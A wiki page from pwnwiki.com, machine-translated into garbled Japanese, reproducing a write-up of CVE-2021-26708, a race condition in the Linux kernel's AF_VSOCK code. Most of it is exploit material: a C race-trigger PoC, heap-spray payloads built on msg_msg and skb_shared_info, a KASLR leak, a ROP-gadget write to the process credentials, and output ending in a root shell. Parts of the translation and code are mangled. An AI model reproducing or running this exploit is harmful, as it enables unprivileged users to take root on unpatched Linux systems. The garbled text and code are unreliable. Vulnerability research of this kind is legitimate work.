Loading
0

CVE-2021-26708 Linux kernel before 5.10.13 特权提升漏洞/ja

pwnwiki.com

,

脆弱性

これらの脆弱性は、net/vmw_vsock/af_vsock.cの误ロックによる条件闘争が原因です。 これらの条件闘争は、VSOCKマルチトランスファーのサポートを追加した2019年11月のコミットで暗黙のうちに导入され、Linuxカーネルバージョン5.5-rc1にマージされました。

CONFIG_VSOCKETSCONFIG_VIRTIO_VSOCKETSは、すべての主要なGNU/Linuxディストリビューションのカーネルモジュールとして提供されています。 これらの脆弱なモジュールは、AF_VSOCKドメインのソケットを作成した际に自动的にロードされます。

vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

AF_VSOCKのソケット作成は、非特権ユーザが利用でき、ユーザ名空间を必要としません。

メモリの破损

以下は、CVE-2021-26708の悪用についての详细です。この悪用は、vsock_stream_etssockopt()の条件付き竞争を利用しており、回复には2つのスレッドが必要で、最初のスレッドがsetsockopt()を呼び出します。

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));

2番目のスレッドは、vsock_stream_etssockopt()がソケットロックを取得しようとしたときに、仮想ソケットのトランスポートを変更しますが、これは仮想ソケットを再接続することで実现します。

struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

仮想ソケットのconnect()を処理するために、カーネルはvsock_assign_transport()を呼び出したvsock_stream_connect()を実行します。 この関数には以下のコードが含まれています。

     if (vsk->transport) {
            if (vsk->transport == new_transport)
                return 0;

            /* transport->release() must be called with sock lock acquired.
             * This path can only be taken during vsock_stream_connect(),
             * where we have already held the sock lock.
             * In the other cases, this function is called on a new socket
             * which is not assigned to any transport.
             */
            vsk->transport->release(vsk);
            vsock_deassign_transport(vsk);
        }

vsock_stream_connect()にはソケットロックがあり、并列スレッドのvsock_stream_setsockopt()もソケットロックを取得しようとするため、条件付きの竞合となります。 その结果、异なるsvm_cidで2回目のconnect()を実行した际に、vsock_deassign_transport()関数が呼び出されます。 この関数は、virtio_transport_destruct()を実行し、vsock_sock.transを解放し、vsk->transportをNULLに设定する。 stream_connect()がソケットのロックを解除することで、vsock_stream_setsockopt()の実行を継続することができます。 vsock_update_buffer_size()を呼び出し、続いてtransport->notify_buffer_size()を呼び出します。 ここでtransportは、vsk->transportに一致しないローカル変数からの廃止された値を含んでいます(原因はNULLに设定されています)。

カーネルがvirtio_transport_notify_buffer_size()を実行すると、メモリが破壊されます。

void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}

ここで,vvsはカーネルメモリへのポインタであり,virtio_transport_destruct()で解放されている。struct virtio_vsock_sock は 64 バイトのサイズで、kmalloc-64 ブロックキャッシュに配置されています。VIRTIO_VSOCK_MAX_BUF_SIZE is 0xFFFFFFFFUL VIRTIO_VSOCK_MAX_BUF_SIZE is 0xFFFFFFFFUL buf_alloc フィールドタイプは u32 で、オフセット 40 にある。valの値は攻撃者が制御し、その最下位4バイトが解放されたメモリに书き込まれます。

ファジーテスト

syzkaller fuzzerにはこのクラッシュを再现する方法がないので、自分で调べてみることにしました。 しかし、なぜfuzzerは失败するのか? vsock_update_buffer_size()を见てみると、次のようなことがわかりました。

 if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

notify_buffer_size()はvalが现在のbuffer_sizeと异なる场合にのみ呼び出され、setsockopt()SO_VM_SOCKETS_BUFFER_SIZEを実行します。 code>の场合、sizeパラメータは呼び出されるたびに异なるはずです。 そこで、コードを作ってみました。

/*
 * AF_VSOCK vulnerability trigger.
 * It's a PoC just for fun.
 * Author: Alexander Popov <email protected>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <unistd.h>

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define MAX_RACE_LAG_USEC 50

int vsock = -1;
int tfail = 0;
pthread_barrier_t barrier;

int thread_sync(long lag_nsec)
{
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;

	ret = pthread_barrier_wait(&barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		perror("- pthread_barrier_wait");
		return EXIT_FAILURE;
	}

	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if (ret != 0) {
		perror("- clock_gettime");
		return EXIT_FAILURE;
	}

	while (delta_nsec < lag_nsec) {
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0) {
			perror("- clock_gettime");
			return EXIT_FAILURE;
		}

		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +
						ts.tv_nsec - ts0.tv_nsec;
	}

	return EXIT_SUCCESS;
}

void *th_connect(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct sockaddr_vm addr = {
		.svm_family = AF_VSOCK,
	};

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	addr.svm_cid = VMADDR_CID_LOCAL;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	addr.svm_cid = VMADDR_CID_HYPERVISOR;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	return NULL;
}

void *th_setsockopt(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct timespec tp;
	unsigned long size = 0;

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	clock_gettime(CLOCK_MONOTONIC, &tp);
	size = tp.tv_nsec;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
						&size, sizeof(unsigned long));

	return NULL;
}

int main(void)
{
	int ret = -1;
	unsigned long size = 0;
	long loop = 0;
	pthread_t th2 = { 0 };

	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (vsock == -1)
		err_exit("- open vsock");

	printf("+ AF_VSOCK socket is opened\n");

	size = 1;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,
						&size, sizeof(unsigned long));
	size = 0xfffffffffffffffdlu;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,
						&size, sizeof(unsigned long));

	ret = pthread_barrier_init(&barrier, NULL, 2);
	if (ret != 0)
		err_exit("- pthread_barrier_init");

	for (loop = 0; loop < 30000; loop++) {
		long tmo1 = 0;
		long tmo2 = loop % MAX_RACE_LAG_USEC;

		printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2);

		ret = pthread_create(&th0, NULL, th_connect, &tmo1);
		if (ret != 0)
			err_exit("- pthread_create #0");

		ret = pthread_create(&th1, NULL, th_setsockopt, &tmo2);
		if (ret != 0)
			err_exit("- pthread_create #1");

		ret = pthread_join(th0, NULL);
		if (ret != 0)
			err_exit("- pthread_join #0");

		ret = pthread_join(th1, NULL);
		if (ret != 0)
			err_exit("- pthread_join #1");

		if (tfail) {
			printf("- some thread got troubles\n");
			exit(EXIT_FAILURE);
		}
	}

	ret = close(vsock);
	if (ret)
		perror("- close");

	printf("+ now see your warnings in the kernel log\n");
	return 0;
}

ここでのサイズの値は、clock_gettime()が返すナノ秒の数から取得されるため、毎回异なる値になる可能性があります。 オリジナルの syzkaller では、syscall パラメータの値は syzkaller がファジング入力を生成する际に决定され、実行时には変更されないため、この処理は行われません。

四字熟语の威力

ここでは、研究対象としてFedora 33 Serverを选び、カーネルバージョン5.10.11-200.fc33.x86_64で、SMEPとSMAPを回避することにしました。

その第一歩として、私は安定したヒープイジェクションに取り组み始めました。これは、ユーザースペースを実行する活动を利用して、カーネルが解放されたvirtio_vsock_sockの场所に别の64バイトのオブジェクトを割り当てるようにするものです。 数回の実験の后、リリースされた virtio_vsock_sock が上书きされていることが确认され、ヒープインジェクションが実行可能であることがわかりました。 最终的に msgsnd() システムコールを见つけました。これはカーネル空间で msg_msg 构造体を作成します。

struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

表はメッセージのヘッダー、里はメッセージのデータです。 ユーザ空间の struct msgbuf に 16 バイトの mtext がある场合、対応する msg_msg が kmalloc-64 ブロック・キャッシュに作成されます。 4 バイトの write-after-free により、オフセット 40 の void *security ポインタが破壊されます。msg_msg.securityフィールドは、msg_msgを受信したときに、lsm_msg_alloc()によって割り当てられ、security_msg_msg_free()によって解放されたカーネルデータを指します。 このように、セキュリティ・ポインターの前半部分を壊すことで、任意の自由を得ることができます。

社内コア情报の漏泄

Used here BC%8F%E6%B4%9E CVE-2019-18683で同じ仕挂けをしています。 バーチャルソケットの2回目のconnect()では、vsock_deassign_transport()を呼び出し、vsk->transportをNULLに设定することで、vsock_stream_setsockopt()<? /code>call virtio_transport_send_pkt_info()の后に、カーネルアラームでメモリクラッシュが発生したことがあります。

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 vmw_vsock_virtio_transport_common
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 vmw_vsock_virtio_transport_common
  vsock_update_buffer_size+0x5f/0x70 vsock
  vsock_stream_setsockopt+0x128/0x270 vsock
...

gdbによるデバッグで、RCXレジスタには解放されたvirtio_vsock_sockのカーネルアドレスが、RBXレジスタにはvsock_sockのカーネルアドレスが入っていることがわかりました。

どこでも読める

从 arbitrary free 到 use-after-free

リークされたカーネルアドレスからのオブジェクトの解放
ヒープスプレーを行い、制御されたデータでオブジェクトを上书きする
破损したオブジェクトを特権升格に利用する
System V メッセージのカーネルの実装では、DATALEN_MSG の最大値は、PAGE_SIZE から sizeof(struct msg_msg)を引いた値に制限されています。) より大きなメッセージを送信した场合、残りのメッセージはメッセージセグメントのリストに保存されます。msg_msgは、最初のセグメントを指すstruct msg_msgseg *nextと、サイズを格纳する size_t m_tsを含んでいます。 上书き操作を行うと、制御された値が msg_msg.m_ts と msg_msg.next に配置されます。

T01a51dfe7a996e854c.png

Payload:

    #define PAYLOAD_SZ 40 
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
    {
        struct msg_msg *msg_ptr;

        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

        /* Don't touch the second part to avoid breaking page fault delivery */
        memset(spray_data, 0xa5, PAGE_SIZE * 4);

        printf("+ adapt the msg_msg spraying payload:\n");
        msg_ptr = (struct msg_msg *)xattr_addr;
        msg_ptr->m_type = 0x1337;
        msg_ptr->m_ts = ARB_READ_SZ;
        msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
        printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
               msg_ptr,
               msg_ptr->m_type, &(msg_ptr->m_type),
               msg_ptr->m_ts, &(msg_ptr->m_ts),
               msg_ptr->next, &(msg_ptr->next));
    }

しかし、msg_msgを使って内部监查データを読むにはどうすればいいのでしょうか? msgrcv()のシステムコールファイルを読んでみると、msgrcv()とMSGフラグを使った良い解决策が见つかりました:。

MSG_COPY (since Linux 3.8)
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue
        specified by msgtyp (messages are considered to be numbered starting at 0).

このフラグは、メッセージデータをメッセージキューから削除することなく、カーネルがユーザースペースにコピーすることを意味します。 カーネルにCONFIG_CHECKPOINT_RESTORE=yが设定されている场合、MSGは利用可能であり、Fedora Serverでも适用可能です。

任意の読み取りのためのステップ

准备
sched_getaffinity()およびCPU_COUNT()を使用して、使用可能なCPUの数を计算します(このエクスプロイトでは、少なくとも2つのCPUが必要です)。
パージングのために/dev/kmsgを开く。
mmap()は、userfaultfd()をspray_dataメモリ领域の最后の部分として设定します。
userfaultfd()イベントを処理するために、别のpthreadを起动します。
msg_msgでsetxattr()とuserfaultfd()のヒープインジェクションを行うために127个のスレッドを立ち上げ、thread_barrierに挂けます。
オリジナルのmsg_msgのカーネルアドレスを取得します。
仮想ソケットの条件付き竞争
2回目のconnect()の后、ビジー・ループで35マイクロ秒待つ。
msgsnd() を呼び出して别のメッセージキューを作成します。メモリ破壊の后、msg_msg ペアは virtio_vsock_sock の场所に置かれます。
カーネルログを解析し、カーネル警告(RCXレジスタ)からmsg_msgのカーネルアドレスを保存する。
また,RBXレジスタからvsock_sockのカーネルアドレスが格纳される。
破壊された msg_msg を使って、元の msg_msg の任意の解放を行います。
メモリ破壊を実装するために、SO_VM_SOCKETS_BUFFER_SIZEとして、オリジナルのmsg_msgアドレスの4バイトを使用します。
仮想ソケットの条件付き竞争
msgsnd()は2回目のconnect()の直后に呼び出され、msg_msgは破壊を実装するためにvirtio_vsock_sockの场所に置かれます。
破弃された msg_msg のセキュリティ・ポインタには、(ステップ 2 からの)元の msg_msg のアドレスが格纳されます。

T01a2a2d47c9494c4a5.png

msgsnd()の処理中にsetsockopt()スレッドのmsg_msg.securityメモリの破损が発生し、さらにSELinuxの特権チェックが失败する场合。
この场合、msgsnd()は-1を返し、破损したmsg_msgは破弃されます。msg_msg.securityを解放すると、元のmsg_msgが解放されます。
オリジナルのmsg_msgを制御可能なペイロードで上书きします。
msgsnd()が失败した后、この脆弱性はpthread_barrier_wait()を呼び出し、ヒープイジェクションに使用される127のpthreadを呼び出します。
これらのpthreadは、setxattr()のペイロードを実行します。
オリジナルの msg_msg は制御可能なデータで上书きされ、msg_msg.next は vsock_sock オブジェクトが格纳されているアドレスを指します。

T0140baae964febb059.png

上书きされたmsg_msgを保持するメッセージキューからメッセージを受信して、vsock_sockカーネルオブジェクトの内容をユーザ空间に読み出す。

ret = msgrcv(msg_locations0.msq_id, kmem, ARB_READ_SZ, 0,
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

ターゲットを见つける

私が见つけたポイントを绍介します。
1. PINGv6やsock_inode_cacheのような専用ブロックキャッシュは、オブジェクトへの多くのポインタを持っています。
2. struct mem_cgroup *sk_memcg pointer at vsock_sock.sk offset 664. mem_cgroup构造体は、kmalloc-4kブロックキャッシュに割り当てられます。
3. vsock_sock.skのオフセット840にあるconst struct cred *ownerポインタは、特権升格のためにオーバーライドできるクレデンシャルのアドレスを保持します。
4. void (*sk_write_space)(struct sock *)関数は、vsock_sock.skのオフセット688にあるsock_def_write_space()カーネル関数のアドレスに设定されます。 KASLRのオフセットを计算するために使用することができます。

脆弱性がメモリからこれらのピンを抽出する方法は以下の通りです。

#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET    840
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET    688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) 
/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu 
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmemSK_MEMCG_RD_LOCATION / sizeof(uint64_t);
    printf("+ Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmemOWNER_CRED_RD_LOCATION / sizeof(uint64_t);
    printf("+ Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmemSK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t);
    printf("+ Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("+ Calculated kaslr offset: %lx\n", kaslr_offset);

sk_buffにUse-after-freeを実装する

Linuxカーネルのネットワーク関连のバッファは、struct sk_buffで表されます。 このペアには、skb_shared_infoとdestructor_argがあり、ストリームハイジャックの制御に利用できます。 ネットワークデータとskb_shared_infoは、sk_buff.headが指す同じカーネルメモリブロックに配置されます。 したがって、ユーザースペースで2800バイトのネットワークパケットを作成すると、mem_cgroupのペアと同様に、skb_shared_infoがkmalloc-4kブロックキャッシュに割り当てられます。

以下の手顺で构筑しました。

socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)を使って、クライアントソケットと32个のサーバーソケットを作成する。

ユーザースペースに2800バイトのバッファを用意し、0x42でmemset()する。

3. sendto()を使用して、このバッファをクライアントソケットから、kmalloc-4kでsk_buffオブジェクトを作成するために使用した各サーバーソケットに送信する。 利用可能なCPUごとに`sched_setaffinity()を使用します。

4.vsock_sockに任意の読み取り手続きを行う

sk_memcgに4096(kmalloc-4kの次の要素)を加えたsk_buffのカーネルアドレスを计算する。

6.この可能性のあるsk_buffのアドレスに任意の読み取りを行う。

7. ネットワークデータの位置に0x424242424242luが见つかった场合、実际のsk_buffを见つけ、ステップ8に进む。そうでない场合、可能性のあるsk_buffのアドレスに4096を加え、ステップ6に进む。

8. sk_buff が 32 个の pthread の setxattr() と userfaultfd() のヒープジェットを実行し、それを pthread_barrier にフックする。

9.sk_buffカーネルアドレスの恣意的な公开

10. pthread_barrier_wait() を呼び出し、32 の setxattr() を実行して skb_shared_info の heapspray pthreads を上书きする。

11.サーバ・ソケットからネットワーク・メッセージを受信するには、recv()を使用します。

skb_shared_infoで任意に书き込み

以下は、オーバーライドされたsk_buffオブジェクトの有效なペイロードです。

#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET    3776
#define MY_UINFO_OFFSET        256
#define SKBTX_DEV_ZEROCOPY    (1 << 3) 
void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

skb_shared_infoは、排出されたデータのちょうどSKB_SHINFO_OFFSETの位置、すなわち3776バイト目に存在する。skb_shared_info.destructor_arg ポインタには、struct ubuf_info のアドレスが格纳される。 攻撃されたsk_buffのカーネルアドレスがわかっているので、ネットワークバッファのMY_UINFO_OFFSETに伪のubuf_infoを作成することができます。有效なペイロードのレイアウトは以下のとおりです。

T0185ccbf9f025c74da.png

ここでは、destructor_argのコールバックを绍介します。

 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr rdi + 8 ; mov qword ptr rdx + rcx*8, rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr rdi + 8" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

vmlinuz-5.10.11-200.fc33.x86_64では、私のニーズを満たすガジェットが见つからないので、自分で调べて作ってみました。

コールバック関数のポインタにはROPガジェットのアドレスが格纳され、RDIにはコールバック関数の第1引数であるubuf_info自身のアドレスが格纳され、RDI + 8はubuf_info.descを指す。ガジェットはubuf_info.descをRDXに移动する。现在RDX には、有效なユーザーIDとグループIDから1バイトを除いたアドレスが含まれています。 このバイトは重要です。ガジェットがRSIからRDXが指すメモリにメッセージ1を书き込むと、有效なuidとgidは0で上书きされます。 権限がrootに升格するまで同じプロセスを缲り返します。プロセス全体の出力ストリームは次のようになります。

email protected ~$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

+ begin as: uid=1000, euid=1000
+ we have 2 CPUs for racing
+ getting ready...
+ remove old files for ftok()
+ spray_data at 0x7f0d9111d000
+ userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
+ fault_handler for uffd 38 is ready

+ stage I: collect good msg_msg locations
+ go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

+ stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
+ adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
+ go racing, show wins: 

+ stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
+ msgrcv returned 6096 bytes
+ Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
+ Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
+ Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
+ Calculated kaslr offset: 2a000000

+ stage IV: search sprayed skb near sk_memcg...
+ checking possible skb location: ffff9125c42fa000
+ stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
+ adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
+ go racing, show wins: 0 0 20 15 42 11 
+ stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
+ msgrcv returned 6096 bytes
+ found a real skb

+ stage V: try to do UAF on skb at ffff9125c42fa000
+ skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
+ go racing, show wins: 15 

+ stage VI: repeat UAF on skb at ffff9125c42fa000
+ go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

+ finish as: uid=0, euid=0
+ starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

ビデオ

参考
https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html

PWNWIK.COM==免费、自由、人人可编辑的漏洞库